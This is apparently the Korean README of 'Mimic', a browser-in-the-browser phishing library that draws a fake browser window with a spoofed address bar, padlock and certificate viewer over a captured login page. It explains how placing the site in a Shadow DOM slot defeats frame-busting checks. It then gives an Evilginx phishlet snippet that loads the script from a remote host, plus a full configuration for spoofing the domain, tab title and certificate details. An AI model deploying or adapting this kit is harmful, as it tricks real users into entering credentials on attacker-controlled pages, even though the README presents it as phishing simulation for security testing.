
프레임리스 브라우저 인 더 브라우저(BitB) - iframe 없음, 프레임 버스팅 문제 없음. 사실적인 피싱 시뮬레이션을 위한 단일 스크립트 Shadow DOM / MutationObserver 라이브러리로, 리버스 프록시를 통해 쉽게 주입할 수 있습니다.
Frameless Browser‑in‑the‑Browser (BitB) - iframe 없음, 프레임 버스팅 문제 없음. 리버스 프록시를 통해 쉽게 주입할 수 있는 현실적인 피싱 시뮬레이션을 위한 단일 스크립트 Shadow DOM / MutationObserver 라이브러리.
⚠️ 경고: 이 소프트웨어는 현행 법률에 따라서만 사용하십시오. 이 소프트웨어를 오용하면 법적·윤리적 문제가 발생할 수 있으며, 저는 이를 지지하지 않으며 이에 대해 책임을 질 수 없습니다.
MalwareMonster와 저는 약 7년 전에 FISHY라는 이름으로 이와 유사한 개념 증명(PoC)을 개발했습니다. 이 프로젝트는 BitB 벡터를 성공적으로 입증했지만, 사용성은 상당히 제한적이었습니다. 약 2년 후, mrd0x는 자신의 BITB 프로젝트를 통해 이 개념을 보안 연구 커뮤니티에 더 널리 알렸습니다. 그러나 iframe에 대한 과도한 의존은 현대적인 프레임 버스팅 기법과 호환되지 않는 것으로 드러났습니다. 프레임 버스팅 JavaScript를 다시 작성하기 위해 치환(substitution)을 사용할 수는 있었지만, 이 접근 방식은 번거롭고 지속적인 수정이 필요했습니다.
약 2년 후 waelmas는 특히 영리한 메커니즘을 도입한 frameless-bitb를 공개했습니다. 그는 iframe을 MutationObserver와 결합된 Shadow DOM으로 대체함으로써 피싱 콘텐츠를 기본 문서(main document) 내부의 div로 효과적으로 재배정했습니다. 핵심적으로, 이 콘텐츠는 격리된 프레임에 위치하는 대신 기본 DOM의 일부로 유지되었습니다. 피싱 페이지 자체가 여전히 기본 DOM이었기 때문에 프레임 버스팅 루틴은 애초에 호출되지 않았습니다. 이는 핵심적인 기술적 장애물을 해결했고, 중요한 진전을 의미했으며, 추가 개선을 위한 견고한 개념적 기반을 제공했습니다.
waelmas는 그 혁신을 통해 사실상 우리에게 바통을 넘겨주었습니다. 그의 구현은 보다 분산된 아키텍처를 수반했으며, 서비스 설치, Apache 구성, 별도의 HTML/CSS/JavaScript 파일, 개별 사용자 인터페이스, 그리고 동적 브라우저 감지 없이 고정된 운영체제 선택(Windows 또는 macOS)이 필요했습니다. 이러한 요소들은 개념 증명(PoC)의 특성을 고려하면 합리적이었지만, 우리는 핵심 Shadow DOM 및 MutationObserver 로직을 분리하여 단일 스크립트를 통해 기존 Evilginx 리버스 프록시에 직접 주입할 수 있다는 점을 인식했습니다. 이를 통해 우리는 waelmas가 처음 개척한 창의적인 우회 기법을 유지하면서, iframe 없이 모든 웹페이지 내부에서 현실적인 가짜 브라우저를 렌더링하는 경량의 의존성 없는 JavaScript 라이브러리를 만들 수 있었습니다.
Mimic은 주소 표시줄, 창 컨트롤, 사이트 정보, 인증서 세부 정보, 쿠키 및 사이트 데이터, 테마, OS별 스타일링을 갖춘 현실적인 가짜 브라우저를 현재 웹페이지 위에 생성합니다.
Mimic은 대상 웹사이트를 iframe 안에 로드하는 대신 실제 웹사이트 DOM을 가져와 가짜 브라우저의 뷰포트에 직접 주입합니다.
가짜 브라우저 자체는 웹사이트로부터 스타일을 격리하는 개방형 Shadow DOM 내부에 위치합니다. 웹사이트는 light DOM에 남아 있으며 다음을 통해 가짜 브라우저에 삽입됩니다:
<slot name="mimic-content"></slot>
content가 제공되지 않으면 Mimic은 기존 body 콘텐츠를 내부 래퍼로 이동하여 현재 페이지를 자동으로 캡처합니다. 웹사이트를 가짜 브라우저에 주입하기 전에 배경, 텍스트 색상, 글꼴, 글꼴 크기, 줄 높이와 같은 중요한 스타일을 보존합니다.
웹사이트는 다른 브라우징 컨텍스트에 포함되지 않고 가짜 브라우저로 이동되므로 실제 최상위 페이지로 유지됩니다.
즉, 다음과 같은 기존의 iframe 기반 프레임 버스팅 검사는:
if (top !== self) {
top.location = self.location;
}
다음과 같은 이유로 트리거되지 않습니다:
top === self
웹사이트는 여전히 자신이 최상위 페이지로 실행되고 있다고 인식합니다. 페이지가 가짜 브라우저 내부에 시각적으로 포함되어 있는 동안에도 기존 JavaScript, 이벤트, 스토리지, 내비게이션 및 애플리케이션 로직은 정상적으로 계속 작동합니다.
Mimic은 또한 주입된 웹사이트를 가짜 브라우저 뷰포트에 맞게 자동으로 크기를 조정합니다. 스크롤은 콘텐츠 레이어를 이동(translate)시켜 처리되며, 리사이즈 리스너와 MutationObserver는 웹사이트가 로드되거나 변경될 때 콘텐츠를 다시 측정합니다.
실제 브라우저 탭은 documentTitle과 documentFavicon을 사용하여 제어할 수도 있습니다. Mimic은 두 값을 모두 모니터링하며, 웹사이트가 값을 변경하려고 시도하면 이를 복원합니다.
Mimic은 JavaScript 샌드박스가 아니라 시각적 캡슐화입니다. 주입된 웹사이트는 실제
window,document, 스토리지, 히스토리 및 내비게이션 API에 대한 접근 권한을 유지합니다.
Mimic을 주입하려면 phishlet YAML에 다음을 추가하세요:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
구성은 mimic.js의 CONFIG에서 직접 변경하거나, 함수(openBrowserWindow)가 호출될 때 인수로 전달할 수도 있습니다:
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
현재 웹사이트를 캡처하여 주입합니다:
openBrowserWindow();
랜딩 페이지 없이 엽니다:
openBrowserWindow({
landing: false
});
가짜 브라우저 창을 자동으로 엽니다:
openBrowserWindow({
autoOpen: true
});
디버깅 활성화(OS 및 테마 전환):
openBrowserWindow({
debug: true
});
모양을 수동으로 재정의합니다:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
가짜 브라우저 창 콘텐츠 설정(가짜 브라우저에 주입할 요소, 선택자, HTML 문자열 또는 함수):
openBrowserWindow({
content: '#page-content'
});
| 옵션 | 설명 |
|---|
domain | 가짜 주소 표시줄에 표시되는 도메인 |
addressText | 도메인 뒤에 표시되는 경로 및 쿼리 |
scheme | 표시되는 URL 스킴 |
pageTitle | 가짜 브라우저 창 제목 |
favicon | 가짜 브라우저 파비콘 |
documentTitle | 실제 브라우저 탭 제목 |
documentFavicon | 실제 브라우저 탭 파비콘 |
content | 가짜 브라우저에 주입할 요소, 선택자, HTML 문자열 또는 함수 |
contentWidth | 주입된 웹사이트 크기 조정 시 사용되는 기본 너비 |
windowWidth | 가짜 브라우저 너비 |
windowHeight | 가짜 브라우저 높이 |
learnMoreUrl | 보안 자세히 알아보기(Learn More) 링크의 대상 |
siteSettingsUrl | 사이트 설정(Site Settings)의 대상 |
cookies | 쿠키 요약 구성 |
autoOpen | 랜딩 페이지가 생성될 때 가짜 브라우저를 자동으로 엽니다 |
os | null, mac, windows 또는 linux; null은 자동 감지를 사용합니다 |
theme | auto, light 또는 dark |
debug | OS 및 테마 전환기를 표시합니다 |
onClose | 가짜 브라우저가 닫힐 때 호출되는 함수 |
landing | 랜딩 페이지를 활성화, 비활성화 또는 교체합니다 |
enterSelector | 가짜 브라우저를 여는 랜딩 요소의 선택자 |
siteData | 기기 내 사이트 데이터 대화상자를 구성합니다 |
certificate | 인증서 뷰어를 구성합니다 |